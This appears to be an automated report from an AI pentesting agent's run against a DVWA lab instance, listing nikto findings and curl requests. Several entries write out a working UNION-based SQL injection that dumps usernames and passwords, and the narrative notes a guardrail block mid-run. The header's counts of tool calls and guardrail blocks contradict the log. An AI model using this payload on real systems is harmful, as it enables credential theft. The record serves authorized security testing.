CISM engagement report — 172.28.0.3/login.php

- Run: `a69e522bcd5c4c47a50eb6c4d4495120`
- Generated: 2026-10-18T21:05:01+00:00
- Outcome: completed — 1 tool call(s), 0 failure(s), 0 guardrail block(s), 11 extraction fallback(s)

Phase progression

- `2026-10-18T20:55:06+00:00` → **recon**

Findings

[resolved] curl — 172.28.0.3/vulnerabilities/sqli/?id=1%20union%20select%20null,null,(select%20group_concat(user,password)%20from%20users),null-- (cf4696c70364)

- `20:58:28` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.3/login.php (71984fed7bb6)

- `20:58:45` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.3/login.php (339a5465218a)

- `20:59:13` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.3/vulnerabilities/sqli (de7fa27cd4d3)

- `20:59:40` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.3/vulnerabilities/sqli/?id=1%20union%20select%20null,null,(select%20group_concat(user,password)%20from%20users),null-- (7f9b3ae4b223)

- `21:00:38` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] server-banner — 172.28.0.3/vulnerabilities/sqli/?id=1 (Apache/2.4.25 (Debian))

- `21:01:57` **nikto** [T2]: Server: Apache/2.4.25 (Debian)

[resolved] nikto-finding — 172.28.0.3/vulnerabilities/sqli/?id=1 ([600050] Apache/2.4.25 appears to be outdated (current is at least 2.4.68).)

- `21:01:57` **nikto** [T2]: [600050] Apache/2.4.25 appears to be outdated (current is at least 2.4.68).

[resolved] nikto-finding — 172.28.0.3/vulnerabilities/sqli/?id=1 ([013587] /vulnerabilities/sqli/: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Con)

- `21:01:57` **nikto** [T2]: [013587] /vulnerabilities/sqli/: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Con

[resolved] nikto-finding — 172.28.0.3/vulnerabilities/sqli/?id=1 ([013587] /vulnerabilities/sqli/: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissio)

- `21:01:57` **nikto** [T2]: [013587] /vulnerabilities/sqli/: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissio

[resolved] nikto-finding — 172.28.0.3/vulnerabilities/sqli/?id=1 ([013587] /vulnerabilities/sqli/: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/St)

- `21:01:57` **nikto** [T2]: [013587] /vulnerabilities/sqli/: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/St

[resolved] nikto-finding — 172.28.0.3/vulnerabilities/sqli/?id=1 ([013587] /vulnerabilities/sqli/: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Pol)

- `21:01:57` **nikto** [T2]: [013587] /vulnerabilities/sqli/: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Pol

[resolved] nikto-finding — 172.28.0.3/vulnerabilities/sqli/?id=1 ([013587] /vulnerabilities/sqli/: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)

- `21:01:57` **nikto** [T2]: [013587] /vulnerabilities/sqli/: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

[resolved] nikto-finding — 172.28.0.3/vulnerabilities/sqli/?id=1 ([750500] /vulnerabilities/sqli/help/: Directory indexing found. See: CWE-548)

- `21:01:57` **nikto** [T2]: [750500] /vulnerabilities/sqli/help/: Directory indexing found. See: CWE-548

[resolved] nikto-finding — 172.28.0.3/vulnerabilities/sqli/?id=1 ([000045] /vulnerabilities/sqli/help/: Help directory should not be accessible.)

- `21:01:57` **nikto** [T2]: [000045] /vulnerabilities/sqli/help/: Help directory should not be accessible.

[resolved] nikto-finding — 172.28.0.3/vulnerabilities/sqli/?id=1 ([750500] /vulnerabilities/sqli/source/: Directory indexing found. See: CWE-548)

- `21:01:57` **nikto** [T2]: [750500] /vulnerabilities/sqli/source/: Directory indexing found. See: CWE-548

[resolved] nikto-finding — 172.28.0.3/vulnerabilities/sqli/?id=1 ([007342] /vulnerabilities/sqli/: X-Frame-Options header is deprecated and was replaced with the Content-Security-Policy HTTP header with the frame-ancestors dir)

- `21:01:57` **nikto** [T2]: [007342] /vulnerabilities/sqli/: X-Frame-Options header is deprecated and was replaced with the Content-Security-Policy HTTP header with the frame-ancestors dir

[resolved] nikto-finding — 172.28.0.3/vulnerabilities/sqli/?id=1 ([007352] /vulnerabilities/sqli/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different)

- `21:01:57` **nikto** [T2]: [007352] /vulnerabilities/sqli/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different

[resolved] curl — 172.28.0.3/vulnerabilities/sqli/?id=1%20union%20select%20null,null,(select%20group_concat(user,password)%20from%20users),null-- (4bf5d2eb76e2)

- `21:03:09` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

[resolved] curl — 172.28.0.3/vulnerabilities/sqli/?id=1%20union%20select%20null,null,(select%20group_concat(user,password)%20from%20users),null-- (f0b24a7c7627)

- `21:04:03` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

Other observed activity (not resolved)

[blocked] dead-region — 172.28.0.3/login.php (curl:172.28.0.3/login.php:727d3bf103e1+pruned:172.28.0.3/login.php:curl:172.28.0.3/login.php:727d3bf103e1+pruned:172.28.0.3/log

- `20:57:47` **prune** [T3]: collapsed 2 dead nodes: curl:172.28.0.3/login.php:727d3bf103e1, pruned:172.28.0.3/login.php:curl:172.28.0.3/login.php:727d3bf103e1+pruned:172.28.0.3/login.php:curl:172.28.0.3/login.php:727d3bf103e1

[contested] curl — 172.28.0.3/login.php (cce9874635dd)

- `20:57:57` **curl** [T3]: % Total % Received % Xferd Average Speed Time Time Time Current...

Narrative context

- `[T3]` (recon) blocked by action guardrail
- `[T3]` (recon) I'll start the DVWA engagement by establishing an authenticated session, which I'll need both for the SQLi demonstration
- `[T3]` (recon) Let me establish the DVWA session and verify it works by hitting the SQLi lab.
- `[T3]` (recon) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (recon) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (recon) The session is confirmed. Now let me dump the users table with a UNION-based payload.
- `[T3]` (recon) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (recon) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (recon) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (recon) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T2]` (recon) Server: Apache/2.4.25 (Debian)
- `[T2]` (recon) [600050] Apache/2.4.25 appears to be outdated (current is at least 2.4.68).
- `[T2]` (recon) [013587] /vulnerabilities/sqli/: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Con
- `[T2]` (recon) [013587] /vulnerabilities/sqli/: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissio
- `[T2]` (recon) [013587] /vulnerabilities/sqli/: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/St
- `[T2]` (recon) [013587] /vulnerabilities/sqli/: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Pol
- `[T2]` (recon) [013587] /vulnerabilities/sqli/: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
- `[T2]` (recon) [750500] /vulnerabilities/sqli/help/: Directory indexing found. See: CWE-548
- `[T2]` (recon) [000045] /vulnerabilities/sqli/help/: Help directory should not be accessible.

- `[T2]` (recon) [750500] /vulnerabilities/sqli/source/: Directory indexing found. See: CWE-548
- `[T2]` (recon) [007342] /vulnerabilities/sqli/: X-Frame-Options header is deprecated and was replaced with the Content-Security-Policy HTTP header with the frame-ancestors dir
- `[T2]` (recon) [007352] /vulnerabilities/sqli/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different
- `[T3]` (recon) I'll switch to sqlmap, which handles the session cookie more reliably than curl's cookie-jar handling. I'll bake the ses
- `[T3]` (recon) % Total % Received % Xferd Average Speed Time Time Time Current...
- `[T3]` (recon) % Total % Received % Xferd Average Speed Time Time Time Current...